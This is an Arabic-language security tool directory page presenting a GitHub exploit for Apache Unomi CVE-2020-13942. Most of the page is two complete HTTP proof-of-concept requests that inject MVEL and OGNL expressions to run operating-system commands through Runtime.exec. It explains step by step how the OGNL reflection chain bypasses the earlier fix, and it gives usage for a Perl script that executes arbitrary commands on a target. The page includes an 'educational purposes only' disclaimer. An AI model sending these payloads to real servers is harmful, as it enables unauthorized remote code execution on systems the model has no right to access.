Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
apche_unomi_rce — Apache Unomi CVE-2020-13942: ثغرات RCE | Kitploit
أدوات/GitHubGitHub/dev-team-12x/apche_unomi_rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubdev-team-12x/apche_unomi_rce

apche_unomi_rce

Apache Unomi CVE-2020-13942: ثغرات RCE

عرض المستودع
منذ 5 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-13942

المقال الأصلي في المدونة حول الثغرة: https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/

هناك متجهان لـ RCE: عبر حقن MVEL وعبر حقن OGNL. كلا المتجهين يستهدفان كودًا مختلفًا على الرغم من أن الحمولات تبدو متشابهة نسبيًا. الإصلاح السابق لـ CVE https://nvd.nist.gov/vuln/detail/CVE-2020-11975 حاول تقييد تنفيذ تعبيرات OGNL، لكنه أغفل MVEL تمامًا. يتجاوز CVE-2020-13942 الإصلاح الذي تم في الإصدار 1.5.1.

أرسل طلبات HTTP التالية باستخدام BurpSuite أو curl إلى context.js\json المعروض بواسطة خادم Unomi واحصل على RCE. غيّر Host و Content-length حسب عنوان URL الهدف وأمر نظام التشغيل الخاص بك. يمكن أن يحصل كلا POC على HTTP/1.1 400 Header Folding في الرد، مما يعني أن \r\n معطلة في الحمولة، حاول نسخها ولصقها مرة أخرى.

1) إثبات المفهوم MVEL

طلب HTTP

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"gnome-calculator\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "boom"
}

2) إثبات المفهوم OGNL

تجاوز إثبات المفهوم OGNL قيود ClassLoader التي تم تقديمها في الإصدار 1.5.1. باستخدام واجهة برمجة تطبيقات الانعكاس في Java، من الممكن إنشاء كائن دون تشغيل طريقة ClassLoader.loadClass التي تقيد تعبيرات OGNL المقدرة.

تفصيل تعبير OGNL الحمولة:

  1. التعبير الأول #runtimeclass = #this.getClass().forName(\"java.lang.Runtime\") ينشئ كائن Class من java.lang.Runtime، حيث يكون #this هو المرجع إلى كائن السياق.
  2. التعبير الثاني #getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0] يحصل على قائمة طرق فئة Runtime من خلال الانعكاس ويختار طريقة getRuntime من القائمة. الجزء {^ #this.name.equals(\"getRuntime\")} من التعبير يبحث عن Method بالاسم getRuntime ويعيد قائمة بالطرق التي تطابق الشرط؛ الطريقة الأولى والوحيدة في هذه القائمة هي getRuntime.
  3. التعبير الثالث #runtimeobject = #runtimemethod.invoke(null,null) يستدعي طريقة getRuntime() ويحصل على كائن Runtime.
  4. التعبير الرابع (#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]) يحصل على طرق فئة Runtime ويسترد Runtime.exec() مع وسيطة سلسلة واحدة من قائمة الطرق.
  5. التعبير النهائي #execmethod.invoke(#runtimeobject,\"gnome-calculator\") يستدعي Runtime.exec() مع الوسيطة المحددة.

طلب HTTP

root@kitploit:~
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 1068

{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\" gnome-calculator\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"boom"
} 

استخدام Apache_Unomi_Perl

الاستخدام الأساسي:

root@kitploit:~
  ./apache_unomi.pl [options]

options:

./apache_unomi.pl [target:port] [command] [(method 1) - mevel| (method 2) - ognl]

[+]usage:

./apache_unomi.pl http://127.0.0.1:8181 whoami 1
 

إخلاء مسؤولية

جميع المعلومات المقدمة في هذه الصفحة هي لأغراض تعليمية فقط. يجب استخدام المعلومات الموجودة على هذا الموقع فقط لتعزيز أمان أنظمة الكمبيوتر الخاصة بك وليس للتسبب في هجمات ضارة أو مدمرة.

يجب ألا تسيء استخدام هذه المعلومات للحصول على وصول غير مصرح به إلى أنظمة الكمبيوتر. كما يجب أن تعلم أن محاولات الاختراق على أجهزة الكمبيوتر التي لا تملكها، دون إذن كتابي من المالكين، غير قانونية.

لن أكون مسؤولاً عن أي ضرر مباشر أو غير مباشر يحدث نتيجة استخدام المعلومات المقدمة على هذا الموقع.

تنزيل الأداة